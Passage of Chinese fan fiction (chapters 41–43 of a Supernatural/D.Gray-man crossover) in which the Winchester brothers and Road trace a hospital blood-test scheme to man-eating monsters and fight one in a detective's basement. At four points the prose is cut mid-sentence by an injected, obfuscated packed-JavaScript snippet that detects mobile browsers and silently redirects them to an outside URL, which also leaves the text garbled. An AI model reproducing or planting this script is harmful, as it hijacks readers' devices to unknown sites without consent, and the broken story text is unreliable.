“不，”萨姆打断了他的施法，把自己随身带的笔记本递给了迪恩，“关于这个，我已经有名单了。” 迪恩惊讶地看着名单上密密麻麻的名字和社保登记，“你怎么弄来的？” “显然，FBI在犯罪现场找到了一些不应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281709|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现的DNA，匿名线报显示DNA可能出自这里的‘血样失窃事件’。” 萨姆趁着迪恩重新登记、抽血的时间，也做了自己该做的工作——他特意穿的西装，可不是来展示自己挺拔身形的。 “干得漂亮，萨姆！”迪恩毫不吝啬地夸奖。 萨姆的猎人状态真是越来越好了，一点儿看不出过去冒充法警时的拘谨。 他已经完全舍弃了斯坦福的生活痕迹，回到了猎人的状态。 有了名单，想要追踪这些人也就轻车熟路，都是温彻斯特一家做惯了的事。 能在网络上查到的就直接用电脑查，查不到的就冒充警察、医生、保险公司甚至是教会打电话查。 没有人能在现代社会真正隐形。 就连诺亚、恶魔和天使都不行。 兄弟分工明确——一个负责查过去，在医院的系统里找那些人的体检登记信息和体检结果；另一人则是去找查现状，通过各种手段来确认那些人的近况。 他们俩的工作效率倒是极快，只是查到的结果让人心惊。 “迪恩——！”萨姆大叫一声，按照名单顺序将那一个个名字对下去，还不等把所有人的近况都翻出来，他便已经无法平静，“你得来看看这个。” 迪恩走到他背后站定，视线扫过那一排名字背后标红的结论—— 死亡 死亡 失踪 死亡 失踪 …… 仿佛世上只剩下了这两个词来描述每一个人的近况下场。 迪恩的气息一顿，数秒后才再发声，“……我这里也是一样，全是一个套路。外地、特价体检，年龄也都是在二十五到三十五岁之间，体检数据也都接近——都是健康的青壮年，65KG到70KG、185CM到195CM之间，A型血为主、男性为主。” 完全代表了一个类型的人。 这不会是巧合。 有什么人——或者说，是有什么东西，选定了这个类型的人群。 连环杀手？ 还是……更可怕的什么超自然生物。 但无论是哪一种可能，医院的体检登记，无疑都是最容易收集到这些信息的方式，也只有医院内部的人，有机会长期接触到这些信息。 兄弟俩面面相觑，谁能想到，只是一次体检还能引出这样的危险来。 41.第 41 章 41 罗德在巴尔的摩待了一夜，返回酒店之时，温彻斯特却并不在房间内。 奇怪了，他们两个会到哪里去？ 她鼻子一动，一股隐隐漂浮的恶魔气息钻入了嗅觉感知中。 “有恶魔来过？” 罗德喃喃自语，可她留在萨姆身上留着的印记却没反应，“啧，味道太淡了。” 淡到甚至不像是有恶魔真正踏足此处。 可若是没有恶魔，这股气息又是从何处而来？ 窥探？ 或许是某种窥探的能力。 有些恶魔可以挖出自己身体的部分——多数时候是眼珠——寄居在某些隐匿之地来获取情报。 “算了，恶魔有想法也是意料之中的事。”罗德一耸肩，并不怎么把恶魔的问题放在心上。 门外走廊里，响起复合的脚步声音，她一转身，就见打开的门对面站定着返回酒店的兄弟俩。 “罗德，我什么时候回来的？” 即使看到了罗德，两人的紧绷的表情也少有放松。尤其是说话的萨姆，他身上带着明显的焦虑。 罗德暗自不满，都看到她了还焦虑什么？ 难道她带来不了足够的安全感吗？ 在恶魔这件事上，她明明很有自信的！ 总不能是有恶魔已经下手了吧？ 罗德眼睛一眯，花了几秒来确认兄弟俩的安全—— 并无异常啊…… “你们俩吃枪药了？”罗德三两步甩掉小高跟，跳到了床上，感受着柔软的力量将她弹起来的触觉，“恶魔这不是还没来吗，你俩焦虑什么。” “所以——这次果然不是恶魔，”和萨姆相比，迪恩的情绪显然更加稳定，他听着罗德的话，将心中的名单上划掉了恶魔的可能。 血的丢失和人的死亡不是恶魔搞的鬼。 “嗯？”罗德一歪头，“什么叫‘这次不是恶魔’——你在说什么？” 迪恩反手合上门，三两句解释了血样失窃的突发状况，临了还不忘补一句，“我们是猎人，我们要面对的也不只是恶魔。” “哦？竟然还有东西敢往你们俩旁边凑啊——”罗德盘腿坐起。 真是搞不懂，这些超自然生物之间是一点消息都不互通吗。温彻斯特都瘟神成这样了，谁来谁死，竟然还有兵卒要往他们面前凑。 不过，以前袭击诺亚的超自然生物也确实不少，从来没有谁真的学到过教训。罗德很快释然，转回正题，“还是说——某些恶魔不敢自己来，只能撺掇着其他生物，来探探路？” “不，异常并不是最近才开始的，”萨姆略思考了几秒便摇了摇头，“你的解封存在偶然性，天使的行动也不会被恶魔所掌握，他们不可能提前半年就在这里布局。” “那就确定是你们的那种活儿了。”罗德昨夜刚听威尔提起一些办案过程，现在对这类事情的兴味正浓，便多问了几句，“那你们查出个所以然了吗？” 这个问题一出口，兄弟俩的气压明显低了几分。 “迪伦·卡朋特——这是所有名单上唯一一个有标记还活着的人，”萨姆在那些密集的资料里找到了突破口，“他现居芝加哥，距离这里有十万八千里，我们只能假做回访联系了他。” “结果发现，他和其他人的唯一区别就是，他的体检是在附近旅游时看到后顺便做的。所以，他当时就只留了通讯地址以便检查结果的邮寄，当天晚上就坐飞机返回了芝加哥——哇哦，有冰箱的酒店真是比汽车旅馆好一百倍，”他一边说着一边开了瓶啤酒，“——所以，我们亲爱的朋友迪伦没有来补抽第二次血。他没有再来过这里，他还活着。所以，二次抽血看起来是为了确保我们会回到这里，不论是什么怪物作祟，他们的活动范围都局限在这里。” 这里，是某个怪物固定的狩猎场。 同时，也就意味着，二次抽血就是某种狩猎的开端。 毕竟二次抽血之后，该走的人还是随时都有离开的风险——狩猎一定会紧跟着二次抽血。 “所以你们俩是去找另外两个人了？”罗德很聪明，马上就反应了过来，“看你们俩的臭脸，不顺利？” “两人都不接电话，我们追着GPS也只找到了其中一人的车，”萨姆脸色严峻，“连钥匙都还插在上面，恐怕不是什么好征兆。” 显然，分别落单的那二人比一直和兄弟一起行动的迪恩更好下手。 “所以要我说，我就是最好的诱饵。”迪恩一耸肩，“我只要找个角落落单，应该就能把怪物引出来。” “迪恩，我们都还不知道面对的是什么怪物、也不知道要如何对付他们，这太危险了！”兄弟二人没少做诱饵，但做诱饵的前提是得有准备。 至少得对要面对的情况有足够的了解。 “我已经联系过鲍比，”调查和寻找线索不能同时进行，兄弟俩赶着去找人，搜集资料的工作自然就交给了鲍比，“那些受害人有失踪有死亡，说明不是诱拐类的精怪。他逐个调取了那些死亡档案，都是残尸，而且都是在野外被发现的，官方认定他们的尸体遭受了野兽的啃食，但——” “如果全部都是一种情况，只能说明我们要面对的怪物很有计划，他故意抛尸在外，很可能就是为了掩盖自己的痕迹……掩盖‘食用’的痕迹，那样的话，所谓的‘失踪’也就能解释了。” 萨姆搓着手指，不知是习惯还是紧张，“而且抛尸地都在不同的州，所以，他们的死亡才不会被联系起来成一个大案、不会引来太多关注。甚至有一些人，在二次抽血后很长一段时间还有非露面的活动痕迹——比如脸书更新、取体检报告、把报告拍给列表中的一些联系人。 种种迹象都证明，或是和家人朋友联系要去露营的短信。这次要面对的怪物非常聪明，不论它是什么，都有长期在人类社会生存的经验，甚至有反侦察经验。” 这些行为可不是像温迪戈那样普通脱离人类社会的怪物能做出来的。 “执法部门？”迪恩也能感觉到，这次怪物的行动很有章法，“但执法部门的人恐怕很难精准拿到血液，你看过出警报告，我也在医院里打听过了。盗窃没有痕迹、那个所谓创立特惠体检的匿名慈善者的信息也被刻意抹去了，这绝对是医院内鬼。” “也许你们面对的是个组合？我看有不少怪物都是群居生物的嘛。”罗德津津有味地听着二人的分析，“或者，是某个和怪物合作的人？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321512|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就像她和温彻斯特兄弟一样。 “我不认为人类可以和一个吃人的怪物长期共存。”迪恩的眉皱得更深，但话说出来却也没什么底气。 他也不是没见过比怪物更可怕的人类。 “姑且先假设，医院和警局当中，都至少有一个怪物存在。” 萨姆跳过了没有意义的争论，“食人的怪物——我们有哪些选项？” “像狼人吸血鬼这些怪物很少会把人吃干净，温迪戈——但它们没有这么高的智力，食尸鬼？”迪恩猜着，“大部分的食尸鬼不会主动捕食人类，但不排除特例，先作备选；我听老爸提起过一种尼加拉瓜传说里的食人怪物，马头骷——但它通常难以长期维持完整的人头形态；还有一些特殊的鬼魂或许也有这种特性……” 会把人完全吃干净的怪物实际上并不多，大多数怪物都有自己的偏好。 比如吸血鬼偏好血液、狼人偏好心脏、狐妖偏好脑髓，它们都不会吃自己喜好外的东西。 “我说——你们两个不是已经在考虑怪物组合了吗？”罗德看着被思维定式困住的兄弟二人，说出了自己的猜测，“如果这个组合不是同一种怪物又当如何？” 萨姆眼睛一亮，“如果不是一种，而是口味互补的话——那不仅能把人吃干净，也能解释怪物合作的原因！” 没有利益冲突，又能互补互助，这才有合作的基础。 “那些没有被吃完的身体部分，也许是不符合其中某个、或是某几个怪物的胃口。”被这样一点，迪恩的思维快速通畅起来，“血液，所以要丢失血液——也是因为胃口！医院当中的怪物在尝味道，喜欢的就偷走血液以引人返回医院。而固定的身形模式——身高、体重这些外在因素，或许是医院之外的那个怪物的偏好！” 完全说得通。 “医院里的是吸血鬼？” 迪恩猜测。 “不一定，血液是身体的一部分，我记得食尸鬼、奇美拉这样的生物，都可以通过对人身体任意部位的品尝，从而挖掘出所食身体的信息——食尸鬼利用这种信息化形顶替死者的身份，奇美拉则借此寻找适合的母体。” 迪恩都没有听过这些信息，萨姆经历过的超自然案件，他应该也都知道才对，“你是怎么知道的？” “……迪恩，你有意识到像斯坦福这样的学校，一定会有个大到离谱的图书馆吧？” 又不是非要经历过才能知道信息。 他那时确实脱离了家族事业，但某些不知名的因素总是推动着他，让他不自觉地关注着这些传说情报。 或许，他从来就没有真正脱离过自己的家庭，只是换了个地方，在为某个未来做着准备。 ——越是想要证明自己脱离某种境遇，就越是反证着自己身陷泥潭。 “嘘——”罗德突然发出声音，兄弟俩的视线被吸引过来，她抬手指了指门外，“听，有人来了。” 房内安静下来，敲门声随即响起，接着便紧跟了一个雄厚的男声。 “这里是约翰逊警探，当地警察（Local PD）——我在寻找迪恩·温彻斯特。” 三人交换视线—— 还真是说曹操，曹操到了。 42.第 42 章 42 刚刚才得出了警局之中，必有怪物的结论，马上便有警探找上了门来。 而且，还是指名道姓地要找迪恩·温彻斯特，AKA已经被未知怪物锁定、并且今日必要被狩猎的猎物。 着实难让人不多想。 萨姆和迪恩交换了一个眼神，快速分工。 迪恩站在门后，手枪无声地顶在门板上——他们还不能确定怪物的身份，枪是个万用的武器。即使不能杀死怪物，但枪内的银弹对大部分的邪物都有一定的克制效果，再加上现在的「圣洁」属性，这是最优的方案。 萨姆将一把银质小刀藏在袖口内，只把门打开了一条缝隙，谨慎地观察。 首先映入眼帘的，是当地警局的证件。外面的人像是已经猜到了萨姆的谨慎一样，不等萨姆要求就已经展示了可以证明自己身份的东西。 萨姆定睛细看，警徽的质感非常真实，完全不像是那种自制出来的那种便宜货。 作为一个常年冒充各种身份的猎人，即使不是专业的骗术师，但眼力也绝不输给任何人。 九成的可能，证件为真。 他背在身后的手给迪恩打了个手势交换了信息。 “我是本地警探约翰逊，你是……迪恩·温彻斯特？” 证件挪开，露出了警探真正的面孔——没有萨姆高，但却很壮实，制服包裹的肩膀看上去非常有力，五官也有些严厉，眉宇之间的带着松不开的沟壑。 是非常标准的警探模样，看上去很是正直。 “不，”萨姆不着痕迹地让刀柄顶在掌心，身体一点没有要让开的意思，眼睛仔细地寻找着任何可能存在的异常，“我是他弟弟萨姆，他遇到了什么麻烦吗？” 警探并没有太纠结他这样谨慎的姿态，而是直奔主题，“那要看你怎样定义‘麻烦’，我认为你哥哥正处在危险之中，你能联系到他吗？马上，越快越好。” 萨姆还没有想好要回什么，门后的迪恩就已经率先发声。 “不需要联系，我就在这儿。” 萨姆的眉头清晰一跳，身体被迪恩挤开，原本只留了一条缝的门大开，猫猫探头，“我就是迪恩·温彻斯特。” “——太好了。”警探的胸口明显一松，像是真的看到迪恩才放下了心似的，“你还活着。” 萨姆和迪恩面面相觑。 “什么叫做‘我还活着’？”迪恩开口，“这是什么意思？” “意思就是说你还活着？”罗德的声音从他身后传来，兄弟俩下意识地回头让开了身体。 警探也便随之走了进来。 “活着是什么很难理解的词吗？” 在一个酒店里看到两个成男兄弟的一张床上坐着个少女，带给人的想象空间着实不小。 警探的神色一变，原本打算说的言语都在一瞬间有些不知如何吐出来。 “额……这是我们表亲，她的房间在隔壁。”萨姆尴尬一笑，从背后轻踹了迪恩一脚，让他赶紧把桌子上的弹夹、日记还有一小沓失踪人员报告都收起来。 这种东西可太容易引起某些误会了。 “嗯哼，”罗德没有漏过萨姆的小动作，发出声音配合。比起物，警探显然更多地落在她身上，“所以——你说的‘危险’是怎么回事？我们只是路过这里，能有什么惊动警探的危险？” 话题被迅速扯了回来。 警探很快把那些不重要的细节丢之脑后，“你们是不是参加了圣乔治医院的体检项目——就是打折的那个。还有，今天早上，温彻斯特先生……额，我是说迪恩·温彻斯特先生接到了电话，说是医院的血液样本丢失，要你再去重新取样？” 还真是为了这事来的。 “是的呀，幸好电话来得早，不然我们都打算去吃早餐了。”罗德眼神闪烁，无声地感应笼罩在约翰逊警探身上。 这是判断言语真实性的最好方式。 迪恩似有所感地看向了她。 她却吐了吐舌头，不去回应。 “吃不吃都无所谓，之前也相似的案例。即使你说吃过早餐无法抽血，医院也会承诺免费给你用更值钱、更先进的技术来检验血液，以此来让你前去医院。”警探似乎对这个套路极为熟悉，“只要你去了，你就会处在危险之中。” “什么样的‘危险’？”迪恩已经将衣服盖在了桌子上，追问起了话。 “死亡危险。”约翰逊一脸严肃。 这个警探该不会也是个猎人吧？ 这种事也有先例，猎人对大多数人来说只是副业，不少人只是保护自己生活的区域。像温彻斯特这样满世界跑的猎人并不算多。 猎人的主业涉及面丰富，也不乏有真的在警务机关工作的人。 如果他是猎人的话，说起话来，会方便许多…… 迪恩期待起了警探的下一句话。 “连环杀手，未知的连环杀手。”约翰逊握紧了拳头，“我认为我所管辖的区域存在一个未知的连环杀手。” “……啊？”迪恩一口气提起来，没想到是这个答案。 “我知道你有怀疑，但我对我的警徽发誓，我没有危言耸听。今早和你一起的那两个人已经失踪了一个，我想‘失踪’恐怕就已经是凶多吉少……”约翰逊警探的指尖用力地抠在掌心，懊恼在他的面孔上一露无遗。 “为什么这么说？” 罗德接了一句，引导他继续往下说。 “这也是我几周之前升级警务系统后，才注意到的事情……圣乔治医院的服务一直以来都非常优秀，尤其是那个体检项目。大概半年前，我表亲家的侄子通过了铁熊队——就是本地棒球队的内部测试。只需要一份体检报告，他就能进入其中训练，我……推荐了圣乔治，而且，他也来了。” 哦——萨姆已经看到了后续的发展。 “一切都很顺利，他做了测试、二次抽血，然后消失了——当然，他给我发了信息，让我帮他取报告，他打算趁着入队前的最后机会去登山和露营。”约翰逊的声音一顿，但脸上却没有悲伤，只有说不尽的疲惫。 他一定不是第一次说这个故事了，想要博得潜在受害人的信任，他一定重复在不断重复自己的故事，“然后……他再也没有回来。官方说法是失踪，那山后有一片未开发的森林，搜救人员找到了我侄子的手机和几片带血的布料。我、我和我的家人们都非常难过，但……我接受了这个说辞。” 这就是萨姆和迪恩之前发现了的套路，没有开发的大自然真是最好的埋骨地，没有人能真的搜索里面的每一个角落。 但问题在于，这个套路是怎么被发现的呢？ 约翰逊继续说道：“直到一周前，局里的系统升级。也是鬼使神差……我，调查了他的手机，你们知道我发现了什么吗？我发现，那些发到我手里的信息定位，都在圣乔治。我一直在和他通信，直到他被定为失踪的前一天，我都收到了他想要探险的信息！” 别人发现不了，但有不少办案经验的警探却在一瞬间就意识到了端倪。 约翰逊备受谴责的良心找到了一条线索——哪怕是非常模糊的线索，但只要有一点指向，他都不能放弃。 而这个猎杀链上最有效、最聪明的反侦察手段，实际上就只在第一步。 只要这一步被破解，后面的调查，实际上并不困难。 约翰逊有能力、有资源，当然很快就找到了问题所在。 “我怎么能一直没发现！”他一捶大腿，眉宇间的沟壑更深，“我怎么能一直没有注意到这点！那么多人，那么多受害者，一切源头就在我的地盘上，我竟然成了睁眼瞎！” 他查到的东西，和温彻斯特兄弟俩所查到的重合在了一起。 虽然凶手的目标指向大相径庭。 “鉴于受害者类型，我猜嫌犯是按照手机定位来找人的，我建议你也马上处理掉，这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376330|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞大的死亡线，我面对的不是一个连环杀手，而是一个团体，甚至可能是一个组织。” 从慈善基金到处理手段、再到那遍布各个州、各个山脉的区域，很难想象有某个人、某几个人能做到这一点。 人，当然是做不到，但如果不是人的话，横穿山脉其实没有那么困难。 当然，“从未被发现”这一点也值得细细琢磨，约翰逊经验堆积起来的直觉告诉他，一切都没那么简单。 如果是有组织的犯罪则更加可怕，他们敢盘踞在这里，一定是有所依仗。 这种类型势力的保护伞，第一可能的，便是警局本身。 所以约翰逊警探根本不敢调用警局势力，甚至不敢马上上报。 当然，也或许是某种私人情绪的推动，他想要亲手抓住那个凶手。 “他们的行动总是很快，这不是我第一次发现端倪，但我从来没有真正——阻止过一次，嫌犯——嫌犯们永远快我一步。但这次，总算是让我发现了他们的漏洞，不论前面有多少铺垫、有多么精密，他们最终都要保证受害人回到医院，医院复检的电话才是号角，我监听他们的电话很久了。” 要知道，每天来体检的人络绎不绝，医院的电话更是来往不断。 而狩猎的欲望对于诸多怪物而言来源于饥饿、来源于刺激，这本身是个没有规律的事情。约翰逊想要捕捉到这个信息，就像是大海捞针，无疑需要大量的准备工作。 萨姆迫不及待地问，“你说失踪了一个，那另一个呢？” “我先一步在医院门口截住了他，暂时把他藏在了我家的地下室——” “谁！” 约翰逊的话还没有说完，罗德猛一睁眼，锥形蜡烛在她挥手间刺向了窗外。 “啪！” 玻璃碎裂的声音下似乎还有隐约一点“滋滋”的焦声。 罗德顺势跳下床，两步弹到了窗边，透过玻璃残缺的裂口，却只看到了楼下散落的玻璃碴子。 突如其来的变故让另外三人都紧张了起来。 尤其是沉浸在讲述中的约翰逊，他根本没有看到罗德的动作，玻璃破碎的声音率先入耳，他一瞬间完全没有搞清楚状况。 但本能的，他还是掏出了自己的配枪。 萨姆趁机扫了一眼，确实是警局常配的M357转轮手枪。 “什么！发生了什么！” 约翰逊急匆匆地冲到窗前，那里早就没有了任何踪迹，只留下窗台外那半个被火焰燎出的脚尖轮廓。 温彻斯特兄弟俩都知道，这是罗德的烛火灼烧的痕迹。 “有人来过了，就在这里。”罗德非常肯定，“但怎么一点活生生的气息都没有，哪怕是恶魔的身体也该是活物才对啊……如果不是那一瞬间气乱的呼吸声，就连我都发现不了。” 没有活生生的气息，那就是充满死气的意思了？ 迪恩马上就想到了自己过去和父亲一起，猎杀过的食尸鬼。虽然怪物也是一种生物，但因为食尸鬼常年以尸体为食，甚至就生活在尸体聚集的墓区，经年累月，自己的身体也便充满了冰冷。 不论怎样变换外形，那种由内而外散发出的死气是遮盖不住的。 不少食尸鬼会想办法遮掩自己的特征，最常见的方式，就是给自己正使用的身份制造一个足以冰冷的背景，例如丧父丧母、死里逃生。 当然，如果想要长期使用某一个身份的话，背景编造就要更加精细，比如一个见惯生死的身份—— 入殓师、某种特殊病患，或者…… 医生。 结论被重复论证着。 另一方面，萨姆虽然没有多少猎杀食尸鬼的经验，但罗德出言的时机，却让他猛然嗅到了一种危险信号。 为什么是那个时间点，让偷听的人暴露了声音？ 他瞳孔骤缩，一把抓住警探的肩膀，“约翰逊警探，你家在哪？你的地下室在哪！” 43.第 43 章 43 约翰逊警探第一时间没有反应过来萨姆的言外之意。 但迪恩反应过来了，“他们知道了另外一人的藏身处！” 就是因为听到了那个位置，所以才会乱了呼吸。 他们冲着另一位潜在受害者去了。 约翰逊心神震动，一把掏出车钥匙，转身就想冲出房门。 迪恩眼疾手快地拉住了他，“在哪儿？” 如果正常下楼出发，他们的速度绝对不可能比那个逃过了罗德蜡烛的怪物更快。 更何况，怪物不止一个——难道他们就不会用手机通讯了吗？ 约翰逊是警探，他的住所很可能距离警局不远。食尸鬼的速度非常可怕，如果警局中的内应也是食尸鬼，那他赶到地下室的时间，甚至可能只在个位数的分钟单位之内。 “路上再说，我开车——” “你赶不上的！”萨姆厉声说着，狗狗眼褪去无辜的情绪后，高大身体所带来的压迫感，也就只有迪恩会感受不到，“想要救他，就马上告诉我们。” 约翰逊有一瞬间被这种压迫所震慑，本能地吞咽着唾沫，“在罗斯大街中心33号，地下入口在房后。” 萨姆紧跟着便将视线投给了罗德。 “喂，我又没来过这里，总不能说一个没听过的街名我都能认识吧？”罗德一摊手，她的「门」依赖着她的能力所掌控，不知道的地方，是无法开门的，“没有地图或是我熟悉的地点为参照，我是找不到位置的。” “地图、地图——哈，在这儿！”迪恩是个实用主义者，听到罗德话语的第一反应是寻找解决方案，他记得自己的体检宣传单上，附有粗略的游览地图。 大概是在有猎物抽血当天就离开的先例，旅游地图也是为了尽可能留下猎物。 地图的目的是标注可游览玩耍的地点，警局和警局附近的房屋显然不在标注中。 但约翰逊毕竟是在这里工作多年的警探，只需一个地图轮廓，就能精准地找到自家房屋和此地酒店的位置。 “可就算在地图上找到了又有什么用？”约翰逊脸上一阵懊恼颓丧，似乎已经意识到了另一人的可怕结局。内心后悔着，应该将那人时刻带在身边才是。 罗德昂着下巴“哼”了一声，“有什么用？你马上就知道有什么用了。” 她的手点在地图上，比划着酒店和房屋的方向与距离。 “啪”一个响指。 复色的花纹在洁白的墙面上凭空而绘，方舟腾水的线条汇聚于一点立体突出，成了手把。 「门」就像是罗德的第二套感应，她眼睛一眯，便道：“那边，有声音。” 迪恩和萨姆的反应同步，都是直接掏枪，让约翰逊一时间分不清谁才是这个房间里的执法人员。 但，眼前「门」的出现方式已然超出了他所认知的常识，略有宕机的大脑让他只得跟着将枪掏了出来。 萨姆对罗德点了点头，后者挥手，大门“砰”地打开。 顿时，没有阻隔的气味穿过门框冲入了酒店房间。 地下室特有的潮腐味道之中，弥漫着藏匿不住的血腥，“咯吱咯吱”的咀嚼音上覆盖着的，是痛苦的嘶吼和尖叫。 “啊啊啊啊——救命、救命！” 已经破音的声线穿越穿透耳膜，约翰逊一下便认出了这个声音的来源。 此时，也来不及去想那些不合常理的东西，呼救声催促着他行动，让他一马当先地冲过了门框。 眼前的一幕几乎炸开了他的脑子。 呼救的人瞪大着眼睛，但瞳孔清晰可见的暗淡、几乎灰不透光，大张的嘴只是在本能地求生，双手无力地垂落在地，胸腹上却埋着一张脸不住地啃食着。 听到声音和动静，那张脸才在百忙之中抬起，血肉依稀可见卡在牙缝之中，牙床似是有些腐烂，滚烫的血液沿着下巴流淌到肌肉虬结的脖子上。 “费、费德……？” 即使狰狞得可怕，可约翰逊显然还是认出了这张脸的主人，已经抬起的枪一时间被忘记扣下扳机，“你、你怎么——” 被叫做费德的人——或者说是怪物，呲着尖牙嘶吼，喉咙中不自觉产生的“呼噜”音已经完全不在人声的范畴。 约翰逊在这一瞬间的不可置信中顿住了，但温彻斯特兄弟俩可不会犹豫。 “砰！” “砰！” 枪声几乎是在重叠中响起，两颗不容性质的子弹精准地打在他的头颅上，却只留下了一个染血的洞口——只有那颗带着「圣洁」力量的子弹，穿过了他的头颅，另一颗却只在怪物的额头上留下一点红痕。 食尸鬼的死亡需要爆头，这是猎人们的常识，也是迪恩·温彻斯特的经验。 但，这次似乎有所不同。 痛呼声中，费德将尚有一丝气息的受害人甩开，愤怒将他的眼睛染成了血丝迸起的纯黑，他大叫着扑向了离他最近的迪恩。 “砰砰砰！” 似乎是没有预料到怪物的生存，匆忙中，迪恩的子弹连发。 可已有准备的怪物比子弹的速度还快，几乎是破空般地扑向了迪恩，应激的本能让迪恩矮身，向前一翻，反手从脚踝处抽出的银刀扎在了怪物的小腿上。 “喝啊——！” 怪物费德长啸着，自己的鞋底已经被尖利的脚趾抠破，甚至在水泥地面留下了凹痕。 迪恩震惊地看着手上这个变形的银刀，刀锋只一下便完全卷了刃。 这皮肤竟有这么硬吗！？ 在他矮身的瞬间，身后的萨姆也动作不停。抬手直接清空了弹夹，从头到脖再到胸腹，几乎每一个能够想到的弱点位置全部扫了个遍。 可这一切，除了进一步激怒怪物以外，毫无用处——那些子弹打破了费德的衣服，但却并没有真的给他留下肉眼可见的伤口。 不对，食尸鬼可没有这么硬的皮肤。 眼前的怪物绝对不是食尸鬼！ 先前的猜测是对的，这次的食人组合很可能不是一个种类的怪物。 终于，约翰逊也反应了过来——可，他的子弹和萨姆又有什么区别？ 枪在此刻完全失去了其该有的震慑力。 “吼！” 怪物直接掐住了迪恩的脖颈，将其压在了墙上——挥手一巴掌，他甩开了迪恩的手枪，尖利的指甲继而撕开了法兰绒的外衣。 对着裸｜露的肉｜体，费德口水横流。 “迪恩！” 萨姆奋不顾身地冲了上去，随手抓起地下室桌上放着的斧头，从背后砍了上去。 “嘣！” 木质的斧柄断裂，震得萨姆手腕发麻。可全力之下，那么重的斧子却也只在怪物身上留下了一道印子而已。 费德甚至连头都没有回，食欲在此刻登入了顶峰，他张嘴直接咬在了迪恩的肩肉上。 剧烈的疼痛让迪恩发出了叫声！ 一切的犹豫都在此刻退却，迪恩的声音成了压倒骆驼的最后一根稻草。 萨姆眼神在这个瞬间失去了光泽，他从口袋里掏出了那瓶装着露比血液的金属瓶，扭开之后不管不顾地倒入了嘴中。 顿时，一股剧烈的灼烧感从胃部腾升而起，直冲脑门，眼前的色彩都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434665|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恍惚了起来，血管所及之处，尽是细密的酸麻，仿佛有千万只蚂蚁在体内爬动着。 肾上腺素狂飙着的身体加速了恶魔血液的吸收，萨姆空白的大脑里此刻只有一个念头。 迪恩，迪恩！ 不论是什么怪物，都不能在他面前再次杀死迪恩。 就在他的掌心，一股看不见的力量撞到了怪物身上，直接将他重重甩上了天，将天花板砸了个深坑出来。 没了支撑力的迪恩向下一摔，重重地砸在了地板上。 他落地的声音和怪物落地的声音重合在了一起，但后者发蒙的时间显然要更短。被两次打断进食过程显然已经让他失去理智。 他几乎四肢着地，手指用力，便在地上留下了清晰的裂纹。 “砰！” 微绿的子弹穿透了他的肩膀，约翰逊虽然还不明所以，但眼睛却不会骗人，他已经意识到唯一一个给费德留下弹口的手枪，就是迪恩被甩开的手枪。 他将其捡起，千钧一发之际将子弹打了出去。 猝不及防之下，子弹确实打到了费德的身上。 但——「圣洁」这种东西，不是谁都能使用的。 哪怕是适格者的驱动，都未必时时能发挥其功效，就更别提连适格者都不是的路人。 拿得起「圣洁」武器，不代表能真正使用「圣洁」。 虽然，这把枪里的子弹，确实要比普通子弹和银弹的效果更好些，但伤口的疼痛却在此时只是更进一步地刺激到了怪物的神经和食欲。 他的速度，竟然此刻提得更快！ “咻——！” 破空声中，萨姆抬手，想要故技重施。 可就像露比所预言的那样，这股力量不是一时半刻就能完全掌握的东西。 迪恩强忍着疼痛将萨姆拉到了自己身后—— “砰！” 一声重响，怪物的脸砸在了几乎透明的骰子上，巨大的冲击力甚至让他的五官都有明显的变型。 立体的方形六面瞬间固合，将怪物完全锁在了其中。 费德嘶吼着、叫喊着，手脚用力地砸在骰面上，但这个东西可不像水泥钢板那样脆弱。 罗德虚空抓着那方形的骰子快速摇动着。 力量、速度、反应力都属一流的怪物，在此刻更清晰地感受着这无尽的旋转，他的头不断地在骰壁上撞击，却片刻也无法找到落点和重心。 “这就是你们说的食尸鬼？”罗德显然对这个怪物并不熟悉，在原本的诺亚生活里，她也从来都不是负责处理这些“琐事”的人，“唔啊，好硬、邦邦硬——外面的怪物都这么硬的啊，真该让千年公试试把恶魔塞进这些「夏娃子民」的身体里。” 诺亚一直以来都有自己的行动目标，和这些怪物的接触并不算深。 形势急上急下，迪恩的神情在一瞬的恍惚后，就看到了萨姆嘴角的血迹。 